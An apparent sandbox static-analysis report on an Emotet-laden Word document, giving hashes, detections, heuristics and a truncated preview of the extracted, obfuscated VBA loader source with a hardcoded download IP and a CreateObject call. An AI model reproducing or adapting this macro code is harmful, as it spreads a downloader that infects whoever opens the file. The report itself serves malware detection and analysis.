Emotet — Office (OOXML) malware analysis

Static analysis result for SHA-256 826fd7d7274f5652…

MALICIOUS

Office (OOXML)

173.2 KB Created: 2019-10-22 06:07:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-11-20
MD5: 8a48b3a0f4cdf0a7bc07d8e687e2de32 SHA-1: 81a78ee7e8eed6a99709625f8201a38f09ad6173 SHA-256: 826fd7d7274f5652b7e0900ae69537e9a599071bdd8235d950c44b7d21e7a48e
322 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is identified as Emotet by ClamAV, a known downloader family. Heuristics indicate an obfuscated auto-exec VBA loader using CreateObject and execution sinks. The VBA macro attempts to construct a URL using a hardcoded IP address, '34.206.188.214', likely to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7350517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7350517-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 26573 bytes
SHA-256: d9caaf706b3e5f00e82ad8a8579b7b8bf1fe82dc784ef069ce03395517b39d55
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Hqbvgcbjxp"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Gpxhbmea, 0, 0, MSForms, CommandButton"
Attribute VB_Control = "Zimjqqbzfeq, 1, 1, MSForms, CommandButton"
Attribute VB_Control = "Gyfvwisqpv, 2, 2, MSForms, CommandButton"
Attribute VB_Control = "Anmduqdvb, 3, 3, MSForms, CommandButton"
Attribute VB_Control = "Frltfnkxf, 4, 4, MSForms, CommandButton"
Attribute VB_Control = "Nxssjzouxkqpb, 5, 5, MSForms, CommandButton"
Attribute VB_Control = "Kboygsmjzy, 6, 6, MSForms, CommandButton"
Attribute VB_Control = "Jmwjecqpvjl, 7, 7, MSForms, CommandButton"
Attribute VB_Control = "Yagzxhjiao, 8, 8, MSForms, CommandButton"
Attribute VB_Control = "Cythoejjwgq, 9, 9, MSForms, CommandButton"
Attribute VB_Control = "Mxaanwozsvn, 10, 10, MSForms, CommandButton"
Attribute VB_Control = "Kucryblmzpw, 11, 11, MSForms, CommandButton"
Attribute VB_Control = "Bdvglpttxbr, 12, 12, MSForms, CommandButton"
Attribute VB_Control = "Pqcxrimunp, 13, 13, MSForms, CommandButton"
Attribute VB_Control = "Lmujdtyvo, 14, 14, MSForms, CommandButton"

Attribute VB_Name = "Fpgmzpkm"
Function g2h213yi12(g2h213yi12A)
On Error Resume Next
   Year "Torp - ConroySuite 215West"
Bbkwcbwjhgobz = CStr(Uslhucbbmr)
Minute Tan(316)
Utkltyizlvn = Hex(Pqbyobkwsdr)
Wwaaxfmncqxu = "34.206.188.214"
Rybzeesf = 450
TimeValue CLng("Global1884 Kassulke Lake, East Earnestine, Italy")
Cyqerbqsuybmz = "National946 Francisco Alley, Idelltown, Mexico"
Hucmaeetxtxrd = CInt(193)
Day CDbl(Drkaxzphvb)
Zwcfypbwj = "Forward73454 Tad Alley, New Rosie, Cayman Islands"
Lvyesltjmgiv = Int(Znysnhlb)
Xvozbcpcn = Round("Volkman - KossSuite 587Northwest")
Fzuxwbrmyqbrd = Cewihjvt
Xuhkqghmcundv = CLng("Bogan - KilbackSuite 903Southwest")
DateValue CDbl(Uobnvdkzz)
Gfppjgnayg = Hkufbfoz
Second Fix("Hodkiewicz - SpencerApt. 052Northeast")
Second "Keyboard"
WeekdayName "147.16.223.75"
Cnutflsmv = Fix(986)
Set g2h213yi12 = CreateObject(Meljlbrjgllw(Meljlbrjgllw(g2h213yi12A)))
   Minute "Marquardt LLCApt. 787East"
Yeqnpazmqztn = Hex(Eeanuowbav)
Month Round(323)
Oskijzfid = CLng(Pixufdhtzxff)
Fpaywdvljlh = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 5.0; Trident/6.0)"
Pthafljke = 268
Hour Tan("68.198.80.38")
Qytbcijmrrek = "Dynamic97989 Ledner Divide, Solonview, French Southern Territories"
Gozdzlncur = CSng(603)
Minute Int(Wzujgasgiyjt)
Cukqkicr = "Global7080 Cecil Mountains, Port Tyshawn, Afghanistan"
Jhfkgodbbkmjs = CBool(Esybieguyi)
Ehrqebxzyvha = CSng("10.228.204.191")
Irzotccffqdq = Dngcnvztjthi
Milyhnwouk = CInt("185.163.112.121")
Second Cos(Pybbmnkfwlp)
Xvohfglhtsx = Jdvosvmwg
Minute Fix("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_6 rv:3.0; NB) AppleWebKit/535.2.0 (KHTML, like Gecko) Version/4.1.5 Safari/535.2.0")
Month "Legacy8272 Letha Via, North Merlinside, Ukraine"
TimeValue "Mozilla/5.0 (X11; Linux i686 AppleWebKit/532.2.2 (KHTML, like Gecko) Chrome/33.0.894.0 Safari/532.2.2"
Ihtxpmatfkjr = Oct(137)
End Function
Function Tvxfzhxq()
On Error Resume Next
   Weekday "Investor0126 Klein Inlet, West Colton, Cote d'Ivoire"
Ckdmzjoaak = Log(Wugmonmuidpy)
Day Tan(240)
Jwdsussemdxk = Rnd(Hwagzqfntwzk)
Ezueiiar = "155.28.182.162"
Qjasidoda = 803
Day Oct("Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/534.1.2 (KHTML, like Gecko) Chrome/31.0.835.0 Safari/534.1.2")
Lcjznmvdgs = "7.244.217.122"
Oamitceup = Rnd(255)
TimeValue Sgn(Qppneqhwjtrs)
Euveoqogcm = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.3; Trident/3.0)"
Uvawxwmjtkxyr = Sqr(Wamxhpwohipbj)
Ndvivmvmwu = CByte("Orn, Barton and YundtApt. 467Southwest")
Suxxmbrrfpo = Xgtnhvdej
Cismboqdaaeu = CDate("Shirt")
WeekdayName Int(Dzrnexplcx)
Zoydkixd = Jeqryljgt
Weekday Sqr("Senior24127 Leuschke Mountain, Auerberg, Iran")
MonthName "Computer"
DateValue "168.77.117.58"
Cevlqfzer = Int(974)
   Second "Mozill
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 86016 bytes
SHA-256: 32c35666229379889c112a22851b378b308433970751e7e6cea7cf895fac4527
Detection
ClamAV: Doc.Downloader.Emotet-7350517-0
Obfuscation or payload: unlikely